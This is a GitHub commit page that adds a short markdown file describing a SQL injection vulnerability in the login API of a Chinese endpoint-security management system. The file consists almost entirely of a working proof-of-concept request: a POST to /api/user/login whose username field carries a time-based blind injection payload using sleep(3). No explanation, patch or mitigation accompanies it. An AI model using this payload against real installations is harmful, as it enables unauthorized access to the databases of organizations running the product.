Create 某信景云终端安全管理系统 login SQL注入漏洞 .md

This commit is contained in:
wy876 2023-08-19 20:22:36 +08:00 committed by GitHub
parent 7d78193744
commit ac5cd8e0f6
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -0,0 +1,6 @@
## 某信景云终端安全管理系统 login SQL注入漏洞
```
POST /api/user/login
captcha=&password=21232f297a57a5a743894a0e4a801fc3&username=admin'and(select*from(select+sleep(3))a)='
```